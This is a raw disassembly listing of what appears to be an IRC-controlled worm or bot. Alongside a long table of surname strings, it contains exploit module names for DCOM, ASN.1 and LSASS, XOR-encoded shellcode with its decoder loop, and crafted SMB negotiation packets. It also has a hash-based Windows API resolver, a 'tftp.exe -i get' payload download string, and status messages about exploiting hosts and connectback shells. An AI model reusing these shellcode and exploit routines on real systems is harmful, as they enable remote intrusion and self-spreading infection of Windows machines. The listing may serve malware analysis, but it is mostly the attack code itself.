aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAB0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DAACo
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DAA8o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DAA4o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DAA0o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA9Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA98o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA94o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA90o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA8Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA88o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA84o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA80o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA7Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA78o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA74o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA70o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA6Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA68o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA64o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA60o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA5Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA58o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA54o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA50o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA4Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA48o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA44o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA40o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA3Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA38o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA34o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA30o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA2Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA28o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA24o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA20o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA1Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA18o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA14o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA10o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DA0Co
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DA08o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DA04o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DA00o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9FCo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9F8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9F4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9F0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9ECo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9E8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9E4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9E0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9DCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9D8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9D4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9CCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9C8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9C4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9C0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9BCo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9B8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9B4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9B0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D9ACo
		align 4
byte_431604	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_431608	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_43160C	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431614	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431618	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43161C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431620	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431624	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431628	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43162C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431630	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431634	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43163C	dd offset asc_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
					; "ллллллллллллллллллллллллллллллллллллллл"...
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43166C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431670	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431674	dd 34h			; DATA XREF: ___:0040B021o
dword_431678	dd 335053h		; DATA XREF: ___:0040B014o
dword_43167C	dd 33h			; DATA XREF: ___:0040B003o
dword_431680	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431684	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431688	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43168C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431690	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431694	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------

loc_431698:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43169C
; ---------------------------------------------------------------------------

loc_43169A:				; CODE XREF: ___:loc_43169Cp
		jmp	short loc_4316A1
; ---------------------------------------------------------------------------

loc_43169C:				; CODE XREF: ___:loc_431698j
		call	loc_43169A

loc_4316A1:				; CODE XREF: ___:loc_43169Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_4316A6	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_4316AB	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------

loc_4316B0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316B4
; ---------------------------------------------------------------------------

loc_4316B2:				; CODE XREF: ___:loc_4316B4p
		jmp	short loc_4316B9
; ---------------------------------------------------------------------------

loc_4316B4:				; CODE XREF: ___:loc_4316B0j
		call	loc_4316B2

loc_4316B9:				; CODE XREF: ___:loc_4316B2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316BD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316C1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316C8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43172C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431745	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43174C
		retn
; ---------------------------------------------------------------------------
byte_43174C	db 0E8h			; CODE XREF: ___:00431749j
dword_43174D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431751	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43175B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_431808	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_43180C	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431810	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431814	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431818	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43181C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319EA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A16

; =============== S U B	R O U T	I N E =======================================



sub_431A06	proc near		; CODE XREF: sub_431A06:loc_431A16p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h

loc_431A0E:				; CODE XREF: sub_431A06+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431A0E
		jmp	short loc_431A1B
; ---------------------------------------------------------------------------

loc_431A16:				; CODE XREF: ___:00431A04j
		call	sub_431A06

loc_431A1B:				; CODE XREF: sub_431A06+Ej
		jo	short near ptr dword_4319A4+12h
		cwde
		cdq
		cdq
		retn
sub_431A06	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B98	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431BA4	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BC4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431C0C	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C48	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C58	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C74	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431CA8	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CD8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CF8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D14	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D48	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D80	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DB0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DE4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E18	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E4C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E74	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431EAC	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EEC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F24	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F58	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F8C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db '░B░B░B░B',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432040	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432048	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43204C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432054	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_43210C	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432118	db  81h	; │		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432164	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4321A8	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4322A4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322BA
		mov	[esi+8], eax
		call	sub_43226D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322BA
		mov	[esi+0Ch], eax
		call	sub_43221F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322BA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4321A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43221F	proc near		; CODE XREF: sub_4321A8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432248
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43221F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432248	proc near		; CODE XREF: sub_43221F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h

loc_432257:				; CODE XREF: sub_432248+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432264
		inc	ebx
		jmp	short loc_432257
; ---------------------------------------------------------------------------

loc_432264:				; CODE XREF: sub_432248+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432248	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43226D	proc near		; CODE XREF: sub_4321A8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi

loc_432285:				; CODE XREF: sub_43226D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43228D
		mov	ecx, [ecx]
		jmp	short loc_432285
; ---------------------------------------------------------------------------

loc_43228D:				; CODE XREF: sub_43226D+1Aj
		mov	edx, edi

loc_43228F:				; CODE XREF: sub_43226D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432299
		mov	edx, [edx+4]
		jmp	short loc_43228F
; ---------------------------------------------------------------------------

loc_432299:				; CODE XREF: sub_43226D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43226D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322A4	proc near		; CODE XREF: sub_4321A8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4322A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322BA	proc near		; CODE XREF: sub_4321A8+16p
					; sub_4321A8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp

loc_4322D0:				; CODE XREF: sub_4322BA+33j
		jecxz	short loc_43230A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld

loc_4322DD:				; CODE XREF: sub_4322BA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322E9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322DD
; ---------------------------------------------------------------------------

loc_4322E9:				; CODE XREF: sub_4322BA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322D0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------

loc_43230A:				; CODE XREF: sub_4322BA:loc_4322D0j
					; sub_4322BA:loc_43230Aj
		jmp	short loc_43230A
sub_4322BA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432310	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432362
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp

loc_43232D:				; CODE XREF: sub_432310+38j
